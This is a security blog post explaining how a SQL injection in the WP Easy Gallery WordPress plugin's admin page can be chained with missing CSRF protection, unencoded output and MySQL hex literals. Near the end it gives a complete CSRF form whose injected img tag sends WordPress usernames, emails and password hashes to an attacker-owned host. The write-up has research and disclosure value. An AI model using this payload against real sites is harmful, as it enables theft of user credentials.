I have a pet peeve. It’s when people argue that vulnerabilities that exist in an administrator interface, though not inherently critical, does not need to be fixed. Many administrator interfaces assume that if a user has access to it, the user can be explicitly trusted. And that leaves entire applications at a risk that’s easily fixable, yet developers refuse to acknowledge this.

A such example is what I’m going to talk about in this blog post more in depth. I already showed an example of a similar issue over here. But what happens when you take this sort of triple-joy attack further to its logical conclusion? First though, let’s take a look at the WP Easy Gallery plugin!

SQL Injection analysis

I first came across this issue through some tools I coded to discover extremely obvious vulnerabilities, which exist all over. It alerted me to the fact that there was a good likelihood of a SQL injection condition existing in the /admin/add-images.php file. Let’s look!

//Select gallery if(isset($_POST['select_gallery']) || isset($_POST['galleryId'])) { $gid = (isset($_POST['select_gallery'])) ? $_POST['select_gallery'] : $_POST['galleryId']; $imageResults = $wpdb->get_results( "SELECT * FROM $easy_gallery_image_table WHERE gid = $gid ORDER BY sortOrder ASC" ); $gallery = $wpdb->get_row( "SELECT * FROM $easy_gallery_table WHERE Id = $gid" ); } 1 2 3 4 5 6 //Select gallery if ( isset ( $ _POST [ 'select_gallery' ] ) || isset ( $ _POST [ 'galleryId' ] ) ) { $ gid = ( isset ( $ _POST [ 'select_gallery' ] ) ) ? $ _POST [ 'select_gallery' ] : $ _POST [ 'galleryId' ] ; $ imageResults = $ wpdb -> get_results ( "SELECT * FROM $easy_gallery_image_table WHERE gid = $gid ORDER BY sortOrder ASC" ) ; $ gallery = $ wpdb -> get_row ( "SELECT * FROM $easy_gallery_table WHERE Id = $gid" ) ; }

It pulls either the “select_gallery” or “galleryId” POST parameter. That’s then passed to two SQL queries without being cast to integers. That’s clue 1 right there that this is something we need to dig a bit deeper into. The file name is a clue that these pages are most likely not publicly accessible, as well as that there’s a check at the top of the file to ensure the file isn’t called directly. So this relies on somebody having access to the admin interface. And the admin needs to be silly enough to insert SQL into a query string parameter, but only blindly. We need to now establish whether or not the SQLi is blind or not.

A good clue is to grep the file for echo statements. Here are some examples:

<?php } else if(isset($_POST['select_gallery']) || isset($_POST['galleryId'])) { ?> <h3>Gallery: <?php echo $gallery->name; ?></h3> ..... if(count($imageResults) > 0) { ?> ..... <p><strong>Image Path:</strong> <input type="text" name="edit_imagePath" size="75" value="<?php echo $image->imagePath; ?>" /></p> <p><strong>Image Title:</strong> <input type="text" name="edit_imageTitle" size="20" value="<?php echo $image->title; ?>" /></p> <p><strong>Image Description:</strong> <input type="text" name="edit_imageDescription" size="75" value="<?php echo $image->description; ?>" /></p> <p><strong>Sort Order:</strong> <input type="text" name="edit_imageSort" size="10" value="<?php echo $image->sortOrder; ?>" /></p> 1 2 3 4 5 6 7 8 9 10 <?php } else if ( isset ( $_POST [ 'select_gallery' ] ) || isset ( $_POST [ 'galleryId' ] ) ) { ?> < h3 > Gallery : <?php echo $gallery -> name ; ?> < / h3 > . . . . . if ( count ( $ imageResults ) > 0 ) { ? > . . . . . < p > < strong > Image Path : < / strong > < input type = "text" name = "edit_imagePath" size = "75" value = " <?php echo $image -> imagePath ; ?> " / > < / p > < p > < strong > Image Title : < / strong > < input type = "text" name = "edit_imageTitle" size = "20" value = " <?php echo $image -> title ; ?> " / > < / p > < p > < strong > Image Description : < / strong > < input type = "text" name = "edit_imageDescription" size = "75" value = " <?php echo $image -> description ; ?> " / > < / p > < p > < strong > Sort Order : < / strong > < input type = "text" name = "edit_imageSort" size = "10" value = " <?php echo $image -> sortOrder ; ?> " / > < / p >

Bingo! Our injection vector is not blind. And what is more, keep in mind for later that no output encoding is done. This is important.

CSRF vector

Without access to the WordPress administration interface directly, there’s a few means which we can achieve the delivery of a payload to exploit the SQL Injection vulnerability. Given that we need to deliver the items through the POST variables, we have to evaluate the application for the absence of any mitigation against CSRF attacks. In theory, a CSRF attack should be impossible. In reality though, many WordPress plugins do not CSRF protect their admin interfaces despite WordPress offering a very easy way of mitigating the attack.

Evaluating this for this attack vector can either be done by sampling a request with Burp Suite Pro and have it do the boring work of generating the appropriate form(Can be done by hand easily), or reading the code and see if there’s any actual CSRF tokens being inserted and validated anywhere that could be a kill joy for us. As it turns out, there’s a complete absence of this. So we now have a delivery method for a payload that could execute some arbitrary SQL and show the result to the user. But just outputting the list of users and their password to the admin user is rather boring. We need to find some way of exfiltration this data to us.

Data exfiltration through XSS and magic quotes bypass

Remember back how we determined that the SQL results was in no way output encoded. It’s presumed of course that any data in the database was input by the admin, and as such completely not dangerous. What dangerous content can you possibly get from an integer column that auto-increments automagically? As it turns out, this is critical for turning this vulnerability into a beast.

We can’t possibly hope for the admin user to email us the result of the SQL injection output. So we need to somehow use the fact that we control the output of the SQL query to our advantage, and the fact that we can mostly unhindered write anything to the rendered page of the admin is a good start. So if we were able to put in either some JavaScript that’d infiltrate data for us, or a simple img tag which causes an external request, we can achieve our goal. Of course, the one thing that stops us is this pesky thing called magic quotes. We could try and put in some HTML into our SQL query, but if we have to use characters like quotes, magic quotes will make that a no-go. But what we can however do, is use the hex-literals feature that MySQL kindly offers us.

If you’ve never encountered hexadecimal literals before, you can try and neat little experiment in MySQL like this: SELECT CONCAT(“foo”, 0×626172). This will output the string “foobar”. You can check out why by playing with the HEX and UNHEX methods, which will give you the hexadecimal values of different values. But slapping 0x in front of those values, it’ll act as if a string or integer for all intents and purposes. This offers us the wonderful ability to input arbitrary characters into a query using only hexadecimal digits(0-9 and A-F).

Putting it all together

So far, we’ve determined:

The plugin has a SQL injection vulnerability in the administrator interface

The SQLi is not blind

The output from the query is not output encoded

The plugin does not protect against CSRF attacks

So we need to create a CSRF request which contains an image tag which contains an URL to a server we own, where the output of the SQL injection is in the src of the tag as a part of the query string. A bit of stitching together a CONCAT statement by encoding the HTML we need using HEX(), we end up with this result:

<form action="http://192.168.1.116/wordpress/wp-admin/admin.php?page=add-images" method="POST"> <input type="hidden" name="galleryId" value="323432324 UNION SELECT CONCAT(0x223E3C696D67207372633D22687474703A2F2F7777772E6D796576696C736974652E63786D2F64656C69766572793F757365725F6C6F67696E3D, user_login, 0x26757365725F656D61696C3D, user_email, 0x26757365725F706173733D, user_pass, 0x22202F3E), 2, 3, 4, 5, 6 FROM wp_users #" /> </form> 1 2 3 < form action = "http://192.168.1.116/wordpress/wp-admin/admin.php?page=add-images" method = "POST" > < input type = "hidden" name = "galleryId" value = "323432324 UNION SELECT CONCAT(0x223E3C696D67207372633D22687474703A2F2F7777772E6D796576696C736974652E63786D2F64656C69766572793F757365725F6C6F67696E3D, user_login, 0x26757365725F656D61696C3D, user_email, 0x26757365725F706173733D, user_pass, 0x22202F3E), 2, 3, 4, 5, 6 FROM wp_users #" / > < / form >

With that, we end up with valid rows of “images” in the $imageResults query. When the ID parameter now gets output onto the page, we now have a HTML tag for each user on the site, like this:

<img src="http://www.myevilsite.cxm/delivery?user_login=admin&user_email=foobar@gmail.com&user_pass=$P$BSQhEGPcLUPtNHcu93k3aSddiQQsO6/"> 1 < img src = "http://www.myevilsite.cxm/delivery?user_login=admin&user_email=foobar@gmail.com&user_pass=$P$BSQhEGPcLUPtNHcu93k3aSddiQQsO6/" >

When the page then renders, the image tags will try and fetch each of these URLs. Given that you own the domain contained in the injection, you can now fetch the HTTP logs and now you have a full set of hashes for the WordPress installation. Game over!